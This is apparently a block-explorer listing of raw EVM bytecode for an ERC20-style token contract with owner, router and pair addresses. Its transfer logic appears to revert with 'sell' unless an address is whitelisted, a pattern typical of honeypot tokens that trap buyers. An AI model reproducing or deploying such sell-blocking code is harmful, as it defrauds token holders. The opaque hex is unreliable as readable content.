e01b8152600401606060405180830381865afa1580156121e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122099190613034565b506dffffffffffffffffffffffffffff16915050809150505b90565b600081519050919050565b600082825260208201905092915050565b60005b8381101561225f578082015181840152602081019050612244565b8381111561226e576000848401525b50505050565b6000601f19601f8301169050919050565b600061229082612225565b61229a8185612230565b93506122aa818560208601612241565b6122b381612274565b840191505092915050565b600060208201905081810360008301526122d88184612285565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612310826122e5565b9050919050565b61232081612305565b811461232b57600080fd5b50565b60008135905061233d81612317565b92915050565b6000819050919050565b61235681612343565b811461236157600080fd5b50565b6000813590506123738161234d565b92915050565b600080604083850312156123905761238f6122e0565b5b600061239e8582860161232e565b92505060206123af85828601612364565b9150509250929050565b60008115159050919050565b6123ce816123b9565b82525050565b60006020820190506123e960008301846123c5565b92915050565b6000819050919050565b600061241461240f61240a846122e5565b6123ef565b6122e5565b9050919050565b6000612426826123f9565b9050919050565b60006124388261241b565b9050919050565b6124488161242d565b82525050565b6000602082019050612463600083018461243f565b92915050565b61247281612343565b82525050565b600060208201905061248d6000830184612469565b92915050565b6000806000606084860312156124ac576124ab6122e0565b5b60006124ba8682870161232e565b93505060206124cb8682870161232e565b92505060406124dc86828701612364565b9150509250925092565b600060ff82169050919050565b6124fc816124e6565b82525050565b600060208201905061251760008301846124f3565b92915050565b612526816123b9565b811461253157600080fd5b50565b6000813590506125438161251d565b92915050565b600080604083850312156125605761255f6122e0565b5b600061256e8582860161232e565b925050602061257f85828601612534565b9150509250929050565b60006125948261241b565b9050919050565b6125a481612589565b82525050565b60006020820190506125bf600083018461259b565b92915050565b6000602082840312156125db576125da6122e0565b5b60006125e984828501612364565b91505092915050565b60006125fd8261241b565b9050919050565b61260d816125f2565b82525050565b60006020820190506126286000830184612604565b92915050565b60006126398261241b565b9050919050565b6126498161262e565b82525050565b60006020820190506126646000830184612640565b92915050565b6000602082840312156126805761267f6122e0565b5b600061268e8482850161232e565b91505092915050565b6126a081612305565b82525050565b60006020820190506126bb6000830184612697565b92915050565b600080604083850312156126d8576126d76122e0565b5b60006126e68582860161232e565b92505060206126f78582860161232e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061274857607f821691505b60208210810361275b5761275a612701565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612797602083612230565b91506127a282612761565b602082019050919050565b600060208201905081810360008301526127c68161278a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061280782612343565b915061281283612343565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612847576128466127cd565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006128ae602583612230565b91506128b982612852565b604082019050919050565b600060208201905081810360008301526128dd816128a1565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612940602683612230565b915061294b826128e4565b604082019050919050565b6000602082019050818103600083015261296f81612933565b9050919050565b60008151905061298581612317565b92915050565b6000602082840312156129a1576129a06122e0565b5b60006129af84828501612976565b91505092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006129ee601f83612230565b91506129f9826129b8565b602082019050919050565b60006020820190508181036000830152612a1d816129e1565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612a80602483612230565b9150612a8b82612a24565b604082019050919050565b60006020820190508181036000830152612aaf81612a73565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b12602283612230565b9150612b1d82612ab6565b604082019050919050565b60006020820190508181036000830152612b4181612b05565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ba4602183612230565b9150612baf82612b48565b604082019050919050565b60006020820190508181036000830152612bd381612b97565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c36602283612230565b9150612c4182612bda565b604082019050919050565b60006020820190508181036000830152612c6581612c29565b9050919050565b6000612c7782612343565b9150612c8283612343565b925082821015612c9557612c946127cd565b5b828203905092915050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612cd6601d83612230565b9150612ce182612ca0565b602082019050919050565b60006020820190508181036000830152612d0581612cc9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612d68602583612230565b9150612d7382612d0c565b604082019050919050565b60006020820190508181036000830152612d9781612d5b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612dfa602383612230565b9150612e0582612d9e565b604082019050919050565b60006020820190508181036000830152612e2981612ded565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612e8c602683612230565b9150612e9782612e30565b604082019050919050565b60006020820190508181036000830152612ebb81612e7f565b9050919050565b600081519050612ed18161234d565b92915050565b600060208284031215612eed57612eec6122e0565b5b6000612efb84828501612ec2565b91505092915050565b7f73656c6c00000000000000000000000000000000000000000000000000000000600082015250565b6000612f3a600483612230565b9150612f4582612f04565b602082019050919050565b60006020820190508181036000830152612f6981612f2d565b9050919050565b600081519050612f7f8161251d565b92915050565b600060208284031215612f9b57612f9a6122e0565b5b6000612fa984828501612f70565b91505092915050565b60006dffffffffffffffffffffffffffff82169050919050565b612fd581612fb2565b8114612fe057600080fd5b50565b600081519050612ff281612fcc565b92915050565b600063ffffffff82169050919050565b61301181612ff8565b811461301c57600080fd5b50565b60008151905061302e81613008565b92915050565b60008060006060848603121561304d5761304c6122e0565b5b600061305b86828701612fe3565b935050602061306c86828701612fe3565b925050604061307d8682870161301f565b915050925092509256fea2646970667358221220f1f5f1df9299e96a5b47a0b14baf6ae2d6465ad726d49ea6e4b969b83ba1978f64736f6c634300080d0033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101585760003560e01c806349bd5a5e116100c357806395d89b411161007c57806395d89b4114610393578063a457c2d7146103b1578063a9059cbb146103e1578063c57f8cfb14610411578063dd62ed3e1461042d578063f2fde38b1461045d57610158565b806349bd5a5e146102f557806359d0f7131461031357806370a0823114610331578063715018a6146103615780638129fc1c1461036b5780638da5cb5b1461037557610158565b806323b872dd1161011557806323b872dd14610221578063313ce56714610251578063395093511461026f5780633a03d7931461029f5780633fc8cef3146102bb57806342966c68146102d957610158565b806306fdde031461015d578063095ea7b31461017b578063158ef93e146101ab5780631694505e146101c957806318160ddd146101e7578063206a810f14610205575b600080fd5b610165610479565b60405161017291906122be565b60405180910390f35b61019560048036038101906101909190612379565b61050b565b6040516101a291906123d4565b60405180910390f35b6101b361051f565b6040516101c091906123d4565b60405180910390f35b6101d1610532565b6040516101de919061244e565b60405180910390f35b6101ef610558565b6040516101fc9190612478565b60405180910390f35b61021f600480360381019061021a9190612379565b610562565b005b61023b60048036038101906102369190612493565b610674565b60405161024891906123d4565b60405180910390f35b61025961068a565b6040516102669190612502565b60405180910390f35b61028960048036038101906102849190612379565b6106a1565b60405161029691906123d4565b60405180910390f35b6102b960048036038101906102b49190612549565b61074b565b005b6102c361085d565b6040516102d091906125aa565b60405180910390f35b6102f360048036038101906102ee91906125c5565b610883565b005b6102fd61099b565b60405161030a9190612613565b60405180910390f35b61031b6109c1565b604051610328919061264f565b60405180910390f35b61034b6004803603810190610346919061266a565b6109e7565b6040516103589190612478565b60405180910390f35b610369610a30565b005b610373610b40565b005b61037d610c39565b60405161038a91906126a6565b60405180910390f35b61039b610c63565b6040516103a891906122be565b60405180910390f35b6103cb60048036038101906103c69190612379565b610cf5565b6040516103d891906123d4565b60405180910390f35b6103fb60048036038101906103f69190612379565b610ddf565b60405161040891906123d4565b60405180910390f35b61042b60048036038101906104269190612549565b610df3565b005b610447600480360381019061044291906126c1565b610f05565b6040516104549190612478565b60405180910390f35b6104776004803603810190610472919061266a565b610f8c565b005b6060600d805461048890612730565b80601f01602080910402602001604051908101604052809291908181526020018280546104b490612730565b80156105015780601f106104d657610100808354040283529160200191610501565b820191906000526020600020905b8154815290600101906020018083116104e457829003601f168201915b5050505050905090565b6000610517838361111b565b905092915050565b600160149054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b61056a61113e565b73ffffffffffffffffffffffffffffffffffffffff16610588610c39565b73ffffffffffffffffffffffffffffffffffffffff1614806105e357506105ad61113e565b73ffffffffffffffffffffffffffffffffffffffff166105cb611146565b73ffffffffffffffffffffffffffffffffffffffff16145b8061062757506105f161113e565b73ffffffffffffffffffffffffffffffffffffffff1661060f611177565b73ffffffffffffffffffffffffffffffffffffffff16145b610666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065d906127ad565b60405180910390fd5b61067082826111f6565b5050565b600061068184848461133e565b90509392505050565b6000600f60009054906101000a900460ff16905090565b6000806106ac61113e565b9050610740818585600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461073b91906127fc565b61136d565b600191505092915050565b61075361113e565b73ffffffffffffffffffffffffffffffffffffffff16610771610c39565b73ffffffffffffffffffffffffffffffffffffffff1614806107cc575061079661113e565b73ffffffffffffffffffffffffffffffffffffffff166107b4611146565b73ffffffffffffffffffffffffffffffffffffffff16145b8061081057506107da61113e565b73ffffffffffffffffffffffffffffffffffffffff166107f8611177565b73ffffffffffffffffffffffffffffffffffffffff16145b61084f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610846906127ad565b60405180910390fd5b6108598282611536565b5050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61088b61113e565b73ffffffffffffffffffffffffffffffffffffffff166108a9610c39565b73ffffffffffffffffffffffffffffffffffffffff16148061090457506108ce61113e565b73ffffffffffffffffffffffffffffffffffffffff166108ec611146565b73ffffffffffffffffffffffffffffffffffffffff16145b80610948575061091261113e565b73ffffffffffffffffffffffffffffffffffffffff16610930611177565b73ffffffffffffffffffffffffffffffffffffffff16145b610987576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097e906127ad565b60405180910390fd5b61099861099261113e565b82611591565b50565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a3861113e565b73ffffffffffffffffffffffffffffffffffffffff16610a56610c39565b73ffffffffffffffffffffffffffffffffffffffff161480610ab15750610a7b61113e565b73ffffffffffffffffffffffffffffffffffffffff16610a99611146565b73ffffffffffffffffffffffffffffffffffffffff16145b80610af55750610abf61113e565b73ffffffffffffffffffffffffffffffffffffffff16610add611177565b73ffffffffffffffffffffffffffffffffffffffff16145b610b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2b906127ad565b60405180910390fd5b610b3e6000611767565b565b610b48611146565b73ffffffffffffffffffffffffffffffffffffffff16610b6661113e565b73ffffffffffffffffffffffffffffffffffffffff1614610b8657600080fd5b600160149054906101000a900460ff1615610ba057600080fd5b60018060146101000a81548160ff0219169083151502179055506000610bc4611177565b9050610bf3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001611536565b610bfe816001611536565b610c2b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600161182d565b610c3681600161182d565b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600e8054610c7290612730565b80601f0160208091040260200160405190810160405280929190818152602001828054610c9e90612730565b8015610ceb5780601f10610cc057610100808354040283529160200191610ceb565b820191906000526020600020905b815481529060010190602001808311610cce57829003601f168201915b5050505050905090565b600080610d0061113e565b90506000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610dc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbd906128c4565b60405180910390fd5b610dd3828686840361136d565b60019250505092915050565b6000610deb8383611888565b905092915050565b610dfb61113e565b73ffffffffffffffffffffffffffffffffffffffff16610e19610c39565b73ffffffffffffffffffffffffffffffffffffffff161480610e745750610e3e61113e565b73ffffffffffffffffffffffffffffffffffffffff16610e5c611146565b73ffffffffffffffffffffffffffffffffffffffff16145b80610eb85750610e8261113e565b73ffffffffffffffffffffffffffffffffffffffff16610ea0611177565b73ffffffffffffffffffffffffffffffffffffffff16145b610ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eee906127ad565b60405180910390fd5b610f01828261182d565b5050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f9461113e565b73ffffffffffffffffffffffffffffffffffffffff16610fb2610c39565b73ffffffffffffffffffffffffffffffffffffffff16148061100d5750610fd761113e565b73ffffffffffffffffffffffffffffffffffffffff16610ff5611146565b73ffffffffffffffffffffffffffffffffffffffff16145b80611051575061101b61113e565b73ffffffffffffffffffffffffffffffffffffffff16611039611177565b73ffffffffffffffffffffffffffffffffffffffff16145b611090576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611087906127ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036110ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f690612956565b60405180910390fd5b61110881611767565b50565b60008160001b60001c9050919050565b60008061112661113e565b905061113381858561136d565b600191505092915050565b600033905090565b6000807fb90fe532b37240954353f38fe729360f365263ffb3674bab1d07fe43d92573c060001b9050805491505090565b6000611181611146565b73ffffffffffffffffffffffffffffffffffffffff16636e9960c36040518163ffffffff1660e01b81526004016020604051808303816000875af11580156111cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f1919061298b565b905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611265576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125c90612a04565b60405180910390fd5b80600c600082825461127791906127fc565b9250508190555080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112cd91906127fc565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113329190612478565b60405180910390a35050565b60008061134961113e565b90506113568582856118ab565b611361858585611937565b60019150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d390612a96565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361144b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144290612b28565b60405180910390fd5b80600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115299190612478565b60405180910390a3505050565b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611600576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f790612bba565b60405180910390fd5b61160b826000611bb7565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168990612c4c565b60405180910390fd5b818103600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600c60008282546116ea9190612c6c565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161174f9190612478565b60405180910390a3611762836000611fa2565b505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008061189361113e565b90506118a0818585611937565b600191505092915050565b60006118b78484610f05565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146119315781811015611923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191a90612cec565b60405180910390fd5b611930848484840361136d565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199d90612d7e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0c90612e10565b60405180910390fd5b611a1f8383611bb7565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9d90612ea2565b60405180910390fd5b818103600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b3b91906127fc565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b9f9190612478565b60405180910390a3611bb18484611fa2565b50505050565b600160149054906101000a900460ff161580611bd85750611bd6611fa6565b155b15611be757611be5612030565b505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c9357600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611c9257600080fd5b5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e6157600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401611d6591906126a6565b602060405180830381865afa158015611d82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611da69190612ed7565b611dae6120af565b10611e6057600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611e5f57600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611e5e57600080fd5b5b5b5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611f0c5750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b15611f9e57600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611f9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9490612f50565b60405180910390fd5b5b5050565b5050565b6000611fb0611146565b73ffffffffffffffffffffffffffffffffffffffff166308160197306040518263ffffffff1660e01b8152600401611fe891906126a6565b6020604051808303816000875af1158015612007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061202b9190612f85565b905090565b600061203a611146565b73ffffffffffffffffffffffffffffffffffffffff1663893d20e86040518163ffffffff1660e01b81526004016020604051808303816000875af1158015612086573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120aa919061298b565b905090565b6000600f60019054906101000a900460ff1615612176576000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015612135573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121599190613034565b50506dffffffffffffffffffffffffffff16905080915050612222565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa1580156121e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122099190613034565b506dffffffffffffffffffffffffffff16915050809150505b90565b600081519050919050565b600082825260208201905092915050565b60005b8381101561225f578082015181840152602081019050612244565b8381111561226e576000848401525b50505050565b6000601f19601f8301169050919050565b600061229082612225565b61229a8185612230565b93506122aa818560208601612241565b6122b381612274565b840191505092915050565b600060208201905081810360008301526122d88184612285565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612310826122e5565b9050919050565b61232081612305565b811461232b57600080fd5b50565b60008135905061233d81612317565b92915050565b6000819050919050565b61235681612343565b811461236157600080fd5b50565b6000813590506123738161234d565b92915050565b600080604083850312156123905761238f6122e0565b5b600061239e8582860161232e565b92505060206123af85828601612364565b9150509250929050565b60008115159050919050565b6123ce816123b9565b82525050565b60006020820190506123e960008301846123c5565b92915050565b6000819050919050565b600061241461240f61240a846122e5565b6123ef565b6122e5565b9050919050565b6000612426826123f9565b9050919050565b60006124388261241b565b9050919050565b6124488161242d565b82525050565b6000602082019050612463600083018461243f565b92915050565b61247281612343565b82525050565b600060208201905061248d6000830184612469565b92915050565b6000806000606084860312156124ac576124ab6122e0565b5b60006124ba8682870161232e565b93505060206124cb8682870161232e565b92505060406124dc86828701612364565b9150509250925092565b600060ff82169050919050565b6124fc816124e6565b82525050565b600060208201905061251760008301846124f3565b92915050565b612526816123b9565b811461253157600080fd5b50565b6000813590506125438161251d565b92915050565b600080604083850312156125605761255f6122e0565b5b600061256e8582860161232e565b925050602061257f85828601612534565b9150509250929050565b60006125948261241b565b9050919050565b6125a481612589565b82525050565b60006020820190506125bf600083018461259b565b92915050565b6000602082840312156125db576125da6122e0565b5b60006125e984828501612364565b91505092915050565b60006125fd8261241b565b9050919050565b61260d816125f2565b82525050565b60006020820190506126286000830184612604565b92915050565b60006126398261241b565b9050919050565b6126498161262e565b82525050565b60006020820190506126646000830184612640565b92915050565b6000602082840312156126805761267f6122e0565b5b600061268e8482850161232e565b91505092915050565b6126a081612305565b82525050565b60006020820190506126bb6000830184612697565b92915050565b600080604083850312156126d8576126d76122e0565b5b60006126e68582860161232e565b92505060206126f78582860161232e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061274857607f821691505b60208210810361275b5761275a612701565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612797602083612230565b91506127a282612761565b602082019050919050565b600060208201905081810360008301526127c68161278a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061280782612343565b915061281283612343565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612847576128466127cd565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006128ae602583612230565b91506128b982612852565b604082019050919050565b600060208201905081810360008301526128dd816128a1565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612940602683612230565b915061294b826128e4565b604082019050919050565b6000602082019050818103600083015261296f81612933565b9050919050565b60008151905061298581612317565b92915050565b6000602082840312156129a1576129a06122e0565b5b60006129af84828501612976565b91505092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006129ee601f83612230565b91506129f9826129b8565b602082019050919050565b60006020820190508181036000830152612a1d816129e1565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612a80602483612230565b9150612a8b82612a24565b604082019050919050565b60006020820190508181036000830152612aaf81612a73565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b12602283612230565b9150612b1d82612ab6565b604082019050919050565b60006020820190508181036000830152612b4181612b05565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ba4602183612230565b9150612baf82612b48565b604082019050919050565b60006020820190508181036000830152612bd381612b97565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c36602283612230565b9150612c4182612bda565b604082019050919050565b60006020820190508181036000830152612c6581612c29565b9050919050565b6000612c7782612343565b9150612c8283612343565b925082821015612c9557612c946127cd565b5b828203905092915050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612cd6601d83612230565b9150612ce182612ca0565b602082019050919050565b60006020820190508181036000830152612d0581612cc9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612d68602583612230565b9150612d7382612d0c565b604082019050919050565b60006020820190508181036000830152612d9781612d5b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612dfa602383612230565b9150612e0582612d9e565b604082019050919050565b60006020820190508181036000830152612e2981612ded565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612e8c602683612230565b9150612e9782612e30565b604082019050919050565b60006020820190508181036000830152612ebb81612e7f565b9050919050565b600081519050612ed18161234d565b92915050565b600060208284031215612eed57612eec6122e0565b5b6000612efb84828501612ec2565b91505092915050565b7f73656c6c00000000000000000000000000000000000000000000000000000000600082015250565b6000612f3a600483612230565b9150612f4582612f04565b602082019050919050565b60006020820190508181036000830152612f6981612f2d565b9050919050565b600081519050612f7f8161251d565b92915050565b600060208284031215612f9b57612f9a6122e0565b5b6000612fa984828501612f70565b91505092915050565b60006dffffffffffffffffffffffffffff82169050919050565b612fd581612fb2565b8114612fe057600080fd5b50565b600081519050612ff281612fcc565b92915050565b600063ffffffff82169050919050565b61301181612ff8565b811461301c57600080fd5b50565b60008151905061302e81613008565b92915050565b60008060006060848603121561304d5761304c6122e0565b5b600061305b86828701612fe3565b935050602061306c86828701612fe3565b925050604061307d8682870161301f565b915050925092509256fea2646970667358221220f1f5f1df9299e96a5b47a0b14baf6ae2d6465ad726d49ea6e4b969b83ba1978f64736f6c634300080d0033

Deployed Bytecode Sourcemap

